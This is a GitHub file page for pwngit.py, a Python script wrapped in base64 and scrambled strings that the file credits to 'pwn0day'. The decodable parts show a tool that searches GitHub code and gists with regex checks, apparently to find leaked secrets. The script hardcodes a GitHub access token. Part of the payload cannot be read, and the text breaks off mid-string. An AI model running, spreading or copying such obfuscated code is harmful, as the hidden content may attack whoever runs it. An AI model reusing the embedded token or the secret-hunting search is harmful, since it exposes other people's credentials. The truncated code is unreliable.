forked from pwn0sec/PwnGIT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
pwngit.py
11 lines (9 loc) · 22.5 KB
/
pwngit.py
1
2
3
4
5
6
7
8
9
10
11
# Python code obfuscated by pwn0day
import base64, codecs
magic = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IGFyZ3BhcnNlCmltcG9ydCBiczQKaW1wb3J0IGdpdGh1YgppbXBvcnQganNvbgppbXBvcnQgcmUKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBzeXMKaW1wb3J0IHNzZGVlcAppbXBvcnQgc3JlX2NvbnN0YW50cwppbXBvcnQgb3MKaW1wb3J0IG9zLnBhdGgKaW1wb3J0IHVybGxpYi5wYXJzZQoKClNJTUlMQVJJVFlfVEhSRVNIT0xEID0gNjUKQUNDRVNTX1RPS0VOID0gImM4OGYyODI5YThlNjYxNzljNThmZWQwMjI4MTUyZjExMDk0N2JlMDUiCkdJVEhVQl9XSElURVNQQUNFID0gIlxcLnwsfDp8O3wvfFxcXFx8YHwnfFwifD18XFwqfCF8XFw/IiBcCiAgICAgICAgICAgICAgICAgICAgInxcXCN8XFwkfFxcJnxcXCt8XFxefFxcfHxcXH58PHw+fFxcKCIgXAogICAgICAgICAgICAgICAgICAgICJ8XFwpfFxce3xcXH18XFxbfFxcXXwgIgoKCmNsYXNzIGJjb2xvcnM6CiAgICAiIiIgVGhhbmsgeW91IEJsZW5kZXIgc2NyaXB0cyA6KSAiIiIKICAgIEhFQURFUiA9ICdcMDMzWzk1bScKICAgIE9LQkxVRSA9ICdcMDMzWzk0bScKICAgIE9LR1JFRU4gPSAnXDAzM1s5Mm0nCiAgICBXQVJOSU5HID0gJ1wwMzNbOTNtJwogICAgRkFJTCA9ICdcMDMzWzkxbScKICAgIEVOREMgPSAnXDAzM1swbScKICAgIEJPTEQgPSAnXDAzM1sxbScKICAgIFVOREVSTElORSA9ICdcMDMzWzRtJwogICAgQ0xFQVIgPSAnXHgxYlsySicKCgpjbGFzcyBTdGF0ZToKCiAgICBkZWYgX19pbml0X18oc2VsZiwKICAgICAgICAgICAgICAgICBiYWRfdXNlcnM9W10sCiAgICAgICAgICAgICAgICAgYmFkX3JlcG9zPVtdLAogICAgICAgICAgICAgICAgIGJhZF9maWxlcz1bXSwKICAgICAgICAgICAgICAgICBiYWRfc2lnbmF0dXJlcz1bXSwKICAgICAgICAgICAgICAgICBjaGVja3M9W10sCiAgICAgICAgICAgICAgICAgbGFzdEluaXRJbmRleD0wLAogICAgICAgICAgICAgICAgIGluZGV4PTAsCiAgICAgICAgICAgICAgICAgdG90YWxDb3VudD0wLAogICAgICAgICAgICAgICAgIHF1ZXJ5PU5vbmUsCiAgICAgICAgICAgICAgICAgbG9nZmlsZT0iIiwKICAgICAgICAgICAgICAgICBpc19naXN0PUZhbHNlLAogICAgICAgICAgICAgICAgICk6CiAgICAgICAgc2VsZi5iYWRfdXNlcnMgPSBiYWRfdXNlcnMKICAgICAgICBzZWxmLmJhZF9yZXBvcyA9IGJhZF9yZXBvcwogICAgICAgIHNlbGYuYmFkX2ZpbGVzID0gYmFkX2ZpbGVzCiAgICAgICAgc2VsZi5iYWRfc2lnbmF0dXJlcyA9IGJhZF9zaWduYXR1cmVzCiAgICAgICAgc2VsZi5jaGVja3MgPSBjaGVja3MKICAgICAgICBzZWxmLmxhc3RJbml0SW5kZXggPSBsYXN0SW5pdEluZGV4CiAgICAgICAgc2VsZi5pbmRleCA9IGluZGV4CiAgICAgICAgc2VsZi50b3RhbENvdW50ID0gdG90YWxDb3VudAogICAgICAgIHNlbGYucXVlcnkgPSBxdWVyeQogICAgICAgIHNlbGYubG9nZmlsZSA9IGxvZ2ZpbGUKICAgICAgICBzZWxmLmlzX2dpc3QgPSBpc19naXN0CgoKZGVmIHNhdmVfc3RhdGUobmFtZSwgc3RhdGUpOgogICAgZmlsZW5hbWUgPSBzdGF0ZS5sb2dmaWxlLnJlcGxhY2UoImxvZyIsICJzdGF0ZSIpCiAgICBpZiBuYW1lID09ICJyYXRlbGltaXRlZCI6CiAgICAgICAgZmlsZW5hbWUgKz0gIi5yYXRlbGltaXRlZCIKICAgIHdpdGggb3BlbihmaWxlbmFtZSwgInciKSBhcyBmZDoKICAgICAgICBqc29uLmR1bXAoc3RhdGUuX19kaWN0X18sIGZkKQogICAgcHJpbnQoIlNhdmVkIGFzIFt7fV0iLmZvcm1hdChmaWxlbmFtZSkpCgoKZGVmIHJlZ2V4X3NlYXJjaChjaGVja3MsIHJlcG8pOgogICAgb3V0cHV0ID0gIiIKICAgIGZvciBsaW5lIGluIHJlcG8uZGVjb2RlZF9jb250ZW50LnNwbGl0bGluZXMoKToKICAgICAgICBmb3IgY2hlY2sgaW4gY2hlY2tzOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBsaW5lID0gbGluZS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgZXhjZXB0IEF0dHJpYnV0ZUVycm9yOgogICAgICAgICAgICAgICAgcGFzcwoKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgKGxpbmUsIGluc3QpID0gcmUuc3VibigKICAgICAgICAgICAgICAgICAgICBjaGVjaywKICAgICAgICAgICAgICAgICAgICBiY29sb3JzLkJPTEQgKyBiY29sb3JzLk9LQkxVRSArIHInXDEnICsgYmNvbG9ycy5FTkRDLAogICAgICAgICAgICAgICAgICAgIGxpbmUpCiAgICAgICAgICAgICAgICBpZiBpbnN0ID4gMDoKICAgICAgICAgICAgICAgICAgICBvdXRwdXQgKz0gIlx0IiArIGxpbmUgKyAiXG4iCiAgICAgICAgICAgICAgICAgICAgcHJpbnQoIlx0IiwgbGluZSkKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgICAgICBwcmludCgKICAgICAgICAgICAgICAgICAgICBiY29sb3JzLkZBSUwgKyAiRVJST1I6ICIsIGUsIGJjb2xvcnMuRU5EQywKICAgICAgICAgICAgICAgICAgICBiY29sb3JzLldBUk5JTkcsICJcbkNIRUNLOiAiLCBjaGVjaywgYmNvbG9ycy5FTkRDLAogICAgICAgICAgICAgICAgICAgICJcbkxJTkU6ICIsIGxpbmUpCiAgICBwcmludChiY29sb3JzLkhFQURFUiArICJFbmQgb2YgTWF0Y2hlcyIgKyBiY29sb3JzLkVOREMpCiAgICByZXR1cm4gb3V0cHV0CgoKZGVmIHNob3VsZF9wYXJzZShyZXBvLCBzdGF0ZSwgaXNfZ2lzdD1GYWxzZSk6CiAgICBvd25lcl9sb2dpbiA9IHJlcG8ub3duZXIubG9naW4gaWYgaXNfZ2lzdCBlbHNlIHJlcG8ucmVwb3NpdG9yeS5vd25lci5sb2dpbgogICAgaWYgb3duZXJfbG9naW4gaW4gc3RhdGUuYmFkX3VzZXJzOgogICAgICAgIHByaW50KGJjb2xvcnMuRkFJTCArICJGYWlsZWQgY2hlY2s6IElnbm9yZSBVc2VyIiArIGJjb2xvcnMuRU5EQykKICAgICAgICByZXR1cm4gRmFsc2UKICAgIGlmIG5vdCBpc19naXN0IGFuZCByZXBvLnJlcG9zaXRvcnkubmFtZSBpbiBzdGF0ZS5iYWRfcmVwb3M6CiAgICAgICAgcHJpbnQoYmNvbG9ycy5GQUlMICsgIkZhaWxlZCBjaGVjazogSWdub3JlIFJlcG8iICsgYmNvbG9ycy5FTkRDKQogICAgICAgIHJldHVybiBGYWxzZQogICAgaWYgbm90IGlzX2dpc3QgYW5kIHJlcG8ubmFtZSBpbiBzdGF0ZS5iYWRfZmlsZXM6CiAgICAgICAgcHJpbnQoYmNvbG9ycy5GQUlMICsgIkZhaWxlZCBjaGVjazogSWdub3JlIEZpbGUiICsgYmNvbG9ycy5FTkRDKQogICAgICAgIHJldHVybiBGYWxzZQoKICAgICMgRnV6enkgSGFzaCBDb21wYXJpc29uCiAgICB0cnk6CiAgICAgICAgaWYgbm90IGlzX2dpc3Q6CiAgICAgICAgICAgICMgVGVtcG9yYXJ5IGZpeCBmb3IgUHlHaXRodWIgdW50aWwgZml4ZWQgdXBzdHJlYW0gKFB5R2l0aHViIzExNzgpCiAgICAgICAgICAgIHJlcG8uX3VybC52YWx1ZSA9IHJlcG8uX3VybC52YWx1ZS5yZXBsYWNlKAogICAgICAgICAgICAgICAgcmVwby5fcGF0aC52YWx1ZSwKICAgICAgICAgICAgICAgIHVybGxpYi5wYXJzZS5xdW90ZShyZXBvLl9wYXRoLnZhbHVlKSkKCiAgICAgICAgY2FuZGlkYXRlX3NpZyA9IHNzZGVlcC5oYXNoKHJlcG8uZGVjb2RlZF9jb250ZW50KQogICAgICAgIGZvciBzaWcgaW4gc3RhdGUuYmFkX3NpZ25hdHVyZXM6CiAgICAgICAgICAgIHNpbWlsYXJpdHkgPSBzc2RlZXAuY29tcGFyZShjYW5kaWRhdGVfc2lnLCBzaWcpCiAgICAgICAgICAgIGlmIHNpbWlsYXJpdHkgPiBTSU1JTEFSSVRZX1RIUkVTSE9MRDoKICAgICAgICAgICAgICAgIHByaW50KAogICAgICAgICAgICAgICAgICAgIGJjb2xvcnMuRkFJTCArCiAgICAgICAgICAgICAgICAgICAgIkZhaWxlZCBjaGVjazogSWdub3JlIEZ1enp5IFNpZ25hdHVyZSBvbiBDb250ZW50cyAiCiAgICAgICAgICAgICAgICAgICAgIih7fSUgU2ltaWxhcml0eSkiLmZvcm1hdChzaW1pbGFyaXR5KSArCiAgICAgICAgICAgICAgICAgICAgYmNvbG9ycy5FTkRDKQogICAgICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICBleGNlcHQgZ2l0aHViLlVua25vd25PYmplY3RFeGNlcHRpb246CiAgICAgICAgcHJpbnQoCiAgICAgICAgICAgIGJjb2xvcnMuRkFJTCArCiAgICAgICAgICAgICJBUEkgRXJyb3I6IEZpbGUgbm8gbG9uZ2VyIGV4aXN0cyBvbiBnaXRodWIuY29tIiArCiAgICAgICAgICAgIGJjb2xvcnMuRU5EQykKICAgICAgICByZXR1cm4gRmFsc2UKICAgIHJldHVybiBUcnVlCgoKZGVmIHByaW50X2hhbmRsZXIoY29udGVudHMpOgogICAgdHJ5OgogICAgICAgIGNvbnRlbnRzID0gY29udGVudHMu'
love = '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'
god = 'LyAxMClbImRhdGEiXQogICAgICAgICAgICAgICAgaWYgbm90IG5ld19naXN0czoKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIHByaW50KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYmNvbG9ycy5GQUlMICsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJSYXRlTGltaXRFeGNlcHRpb246ICIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQbGVhc2Ugd2FpdCBhYm91dCAzMCBzZWNvbmRzIGJlZm9yZSB5b3UgIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgInRyeSBhZ2Fpbiwgb3IgZXhpdCAoQ1RSTC1DKS5cbiAiICsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJjb2xvcnMuRU5EQykKICAgICAgICAgICAgICAgICAgICAgICAgc2F2ZV9zdGF0ZSgicmF0ZWxpbWl0ZWQiLCBzdGF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXQoIlByZXNzIGVudGVyIHRvIHRyeSBhZ2Fpbi4uLiIpCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0IEtleWJvYXJkSW50ZXJydXB0OgogICAgICAgICAgICAgICAgICAgICAgICBzeXMuZXhpdCgxKQogICAgICAgICAgICAgICAgZ2lzdHMuZXh0ZW5kKG5ld19naXN0cykKCiAgICAgICAgICAgIGdpc3QgPSBnLmdldF9naXN0KGdpc3RzW2ldLnNwbGl0KCIvIilbLTFdKQogICAgICAgICAgICBnaXN0LmRlY29kZWRfY29udGVudCA9ICJcbiIuam9pbigKICAgICAgICAgICAgICAgIFtnaXN0X2ZpbGUuY29udGVudCBmb3IgXywgZ2lzdF9maWxlIGluIGdpc3QuZmlsZXMuaXRlbXMoKV0pCgogICAgICAgICAgICBsb2dfYnVmID0gImh0dHBzOi8vZ2lzdC5naXRodWIuY29tLyIgKyBcCiAgICAgICAgICAgICAgICBiY29sb3JzLk9LR1JFRU4gKyBnaXN0Lm93bmVyLmxvZ2luICsgIi8iICsgXAogICAgICAgICAgICAgICAgYmNvbG9ycy5FTkRDICsgXAogICAgICAgICAgICAgICAgZ2lzdC5pZAogICAgICAgICAgICBwcmludChsb2dfYnVmKQogICAgICAgICAgICBsb2dfYnVmID0gIlxuIiArIGxvZ19idWYgKyAiXG4iCgogICAgICAgICAgICBpZiBzaG91bGRfcGFyc2UoZ2lzdCwgc3RhdGUsIGlzX2dpc3Q9VHJ1ZSkgb3Igc3RlcEJhY2s6CiAgICAgICAgICAgICAgICBzdGVwQmFjayA9IEZhbHNlCiAgICAgICAgICAgICAgICBsb2dfYnVmICs9IHJlZ2V4X3NlYXJjaChzdGF0ZS5jaGVja3MsIGdpc3QpCiAgICAgICAgICAgICAgICB1aV9sb29wKGdpc3QsIGxvZ19idWYsIHN0YXRlLCBpc19naXN0PVRydWUpCiAgICAgICAgICAgICAgICBpZiBzdGF0ZS5pbmRleCA8IGk6CiAgICAgICAgICAgICAgICAgICAgaSA9IHN0YXRlLmluZGV4CiAgICAgICAgICAgICAgICAgICAgc3RlcEJhY2sgPSBUcnVlCiAgICAgICAgICAgICAgICBwcmludChiY29sb3JzLkNMRUFSKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcHJpbnQoIlNraXBwaW5nLi4uIikKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGJyZWFrCgoKZGVmIGdpdGh1Yl9zZWFyY2goZywgc3RhdGUpOgogICAgcHJpbnQoIkNvbGxlY3RpbmcgR2l0aHViIFNlYXJjaCBBUEkgZGF0YS4uLiIpCiAgICB0cnk6CiAgICAgICAgcmVwb3NpdG9yaWVzID0gZy5zZWFyY2hfY29kZShzdGF0ZS5xdWVyeSkKCiAgICAgICAgc3RhdGUudG90YWxDb3VudCA9IHJlcG9zaXRvcmllcy50b3RhbENvdW50CgogICAgICAgICMgSGFjayB0byBiYWNrZmlsbCBQYWdpbmF0ZWRMaXN0IHdpdGggZ2FyYmFnZSB0byBhdm9pZCByYXRlbGltaXRpbmcgb24KICAgICAgICAjIHJlc3RvcmUsIGxpYnJhcnkgZmV0Y2hlcyBpbiAzMCBjb3VudHMKICAgICAgICByZXBvc2l0b3JpZXMuX19kaWN0X19bIl9QYWdpbmF0ZWRMaXN0QmFzZV9fZWxlbWVudHMiXSA9IFsKICAgICAgICAgICAgTm9uZV0gKiAoc3RhdGUuaW5kZXgvLzMwKSAqIDMwCiAgICAgICAgc3RhdGUubGFzdEluaXRJbmRleCA9IHN0YXRlLmluZGV4CgogICAgICAgIHByaW50KGJjb2xvcnMuQ0xFQVIpCgogICAgICAgIGkgPSBzdGF0ZS5pbmRleAogICAgICAgIHN0ZXBCYWNrID0gRmFsc2UKICAgICAgICB3aGlsZSBpIDwgc3RhdGUudG90YWxDb3VudDoKICAgICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICBzdGF0ZS5pbmRleCA9IGkKCiAgICAgICAgICAgICAgICAgICAgIyBNYW51YWxseSBmaWxsIFBhZ2luYXRvciB0byBhdm9pZCByYXRlbGltaXRpbmcgb24gcmVzdG9yZQogICAgICAgICAgICAgICAgICAgIHJlcG9zaXRvcmllcyA9IHBhZ2luYXRpb25faGFjayhyZXBvc2l0b3JpZXMsIHN0YXRlKQoKICAgICAgICAgICAgICAgICAgICByZXBvID0gcmVwb3NpdG9yaWVzW2ldCgoKICAgICAgICAgICAgICAgICAgICAjIFNldHRpbmcgZG9tYWluL3NjaGVtZSBuYW1lIGZvciBsb2cgb3V0cHV0CiAgICAgICAgICAgICAgICAgICAgc2NoZW1lID0gZy5fR2l0aHViX19yZXF1ZXN0ZXIuX1JlcXVlc3Rlcl9fc2NoZW1lCiAgICAgICAgICAgICAgICAgICAgZG9tYWluID0gZy5fR2l0aHViX19yZXF1ZXN0ZXIuX1JlcXVlc3Rlcl9faG9zdG5hbWUKCiAgICAgICAgICAgICAgICAgICAgaWYoZG9tYWluID09ICJhcGkuZ2l0aHViLmNvbSIpOgogICAgICAgICAgICAgICAgICAgICAgICBkb21haW4gPSAiZ2l0aHViLmNvbSIKCiAgICAgICAgICAgICAgICAgICAgbG9nX2J1ZiA9IHNjaGVtZSArICI6Ly8iICsgXAogICAgICAgICAgICAgICAgICAgICAgICBkb21haW4gKyAiLyIgKyBcCiAgICAgICAgICAgICAgICAgICAgICAgIGJjb2xvcnMuT0tHUkVFTiArIHJlcG8ucmVwb3NpdG9yeS5vd25lci5sb2dpbiArICIvIiArIFwKICAgICAgICAgICAgICAgICAgICAgICAgYmNvbG9ycy5PS0JMVUUgKyByZXBvLnJlcG9zaXRvcnkubmFtZSArICIvYmxvYiIgKyBcCiAgICAgICAgICAgICAgICAgICAgICAgIGJjb2xvcnMuRU5EQyArIFwKICAgICAgICAgICAgICAgICAgICAgICAgb3MucGF0aC5kaXJuYW1lKHJlcG8uaHRtbF91cmwuc3BsaXQoJ2Jsb2InKVsxXSkgKyBcCiAgICAgICAgICAgICAgICAgICAgICAgICIvIiArIGJjb2xvcnMuV0FSTklORyArIHJlcG8ubmFtZSArIGJjb2xvcnMuRU5EQwogICAgICAgICAgICAgICAgICAgIHByaW50KGxvZ19idWYpCiAgICAgICAgICAgICAgICAgICAgbG9nX2J1ZiA9ICJcbiIgKyBsb2dfYnVmICsgIlxuIgoKICAgICAgICAgICAgICAgICAgICBpZiBzaG91bGRfcGFyc2UocmVwbywgc3RhdGUpIG9yIHN0ZXBCYWNrOgogICAgICAgICAgICAgICAgICAgICAgICBzdGVwQmFjayA9IEZhbHNlCiAgICAgICAgICAgICAgICAgICAgICAgIGxvZ19idWYgKz0gcmVnZXhfc2VhcmNoKHN0YXRlLmNoZWNrcywgcmVwbykKICAgICAgICAgICAgICAgICAgICAgICAgdWlfbG9vcChyZXBvLCBsb2dfYnVmLCBzdGF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgc3RhdGUuaW5kZXggPCBpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaSA9IHN0YXRlLmluZGV4CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGVwQmFjayA9IFRydWUKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoYmNvbG9ycy5DTEVBUikKICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBwcmludCgiU2tpcHBpbmcuLi4iKQogICAg